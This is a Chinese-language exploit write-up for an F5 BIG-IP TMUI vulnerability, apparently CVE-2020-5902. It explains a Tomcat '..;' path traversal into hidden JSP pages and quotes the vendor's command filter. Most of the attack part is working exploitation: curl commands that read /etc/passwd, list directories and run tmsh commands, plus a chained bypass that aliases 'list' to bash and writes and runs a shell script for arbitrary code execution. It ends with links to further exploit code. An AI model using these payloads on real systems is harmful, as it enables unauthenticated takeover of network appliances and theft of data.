分析
从通告中可以明确几个点
- 位于 tmui
..;
路径穿透 -> Apache Tomcat- 隐藏页面
虚拟机中提取源码并简单分析后可以确定jsp对应class位于
# 相对路径
/www/tmui/WEB-INF/classes/org/apache/jsp/tmui
# 绝对路径
/usr/local/www/tmui/WEB-INF/classes/org/apache/jsp/tmui
最后在 locallb/workspace 中可以看到有以下几个关键类
class | jsp path | feature | parameter |
---|---|---|---|
create_jsp.class | /tmui/locallb/workspace/list.jsp | 创建 jsp 文件 | |
dbquery_jsp.class | /tmui/locallb/workspace/dbquery.jsp | 查询数据库 | query object column |
directoryList_jsp.class | /tmui/locallb/workspace/directoryList.jsp | 列目录 | directoryPath |
fileRead_jsp.class | /tmui/locallb/workspace/fileRead.jsp | 读文件 | fileName |
fileSave_jsp.class | /tmui/locallb/workspace/fileSave.jsp | 写文件 | fileName content |
import_jsp.class | /tmui/locallb/workspace/import.jsp | 加载 jsp 文件 | |
list_jsp.lass | /tmui/locallb/workspace/list.jsp | 列数据库信息 | |
properties_jsp.class | /tmui/locallb/workspace/properties.jsp | 参数设定 | pageType properties |
settings_jsp.class | /tmui/locallb/workspace/settings.jsp | 列举参数信息 | |
tmshCmd_jsp.class | /tmui/locallb/workspace/tmshCmd.jsp | 命令执行 | command |
对应com.f5.tmui.locallb.handler.workspace.WorkspaceUtils
中的方法实现
在浏览器中直接访问加载这些页面会被重定向,但通过 tomcat 路径穿透可以控制在 tmui 下进行加载
然后这里说下 tmshCmd 执行的问题
在com.f5.tmui.locallb.handler.workspace.WorkspaceUtils#runTmshCommand
中执行传入的 command,但限制可用的操作为create
、delete
、list
、modify
四种模块,且由于checkForBadShellCharacters
进行了过滤,需要找到方法跳出限制通过run
模块执行 bash 命令
public static JSONObject runTmshCommand(String command) {
F5Logger logger = (F5Logger)F5Logger.getLogger(WorkspaceUtils.class);
JSONObject resultObject = new JSONObject();
String output = "";
String error = "";
String operation = command.split(" ")[0];
if (ShellCommandValidator.checkForBadShellCharacters(command) || !operation.equals("create") && !operation.equals("delete") && !operation.equals("list") && !operation.equals("modify")) {
error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand");
} else {
try {
String[] args = new String[]{command};
Result result = Syscall.callElevated(Syscall.TMSH, args);
output = result.getOutput();
error = result.getError();
} catch (CallException var8) {
logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed") + ": " + var8.getMessage());
error = var8.getMessage();
}
}
resultObject.put("output", output);
resultObject.put("error", error);
return resultObject;
}
过滤函数com.f5.form.ShellCommandValidator#checkForBadShellCharacters
public static boolean checkForBadShellCharacters(String value) {
char[] cArray = value.toCharArray();
for(int i = 0; i < cArray.length; ++i) {
char c = cArray[i];
if (c == '&' || c == ';' || c == '`' || c == '\'' || c == '\\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r') {
return true;
}
}
return false;
}
POC
RCE: TMSH 命令参考
curl -k 'https://[HOST]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
P.S. 实际这里的 RCE 在没绕过限制之前只是对于 F5 执行部分操作;另外说list auth user admin
返回结果为空,那是因为 admin 处于未登录状态。
LFR:
curl -k 'https://[HOST]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
DIR:
curl -k 'https://[HOST]/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/'
…
RCE 限制绕过
原理
来自不知源分享
修改alias劫持list命令为bash
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
写入bash文件
/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/xxx&content=id
执行bash文件
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/xxx
还原list命令
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list
MSF
..;
修补·反序列化绕过
原理:https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/
POC:https://github.com/Critical-Start/Team-Ares/blob/master/CVE-2020-5902/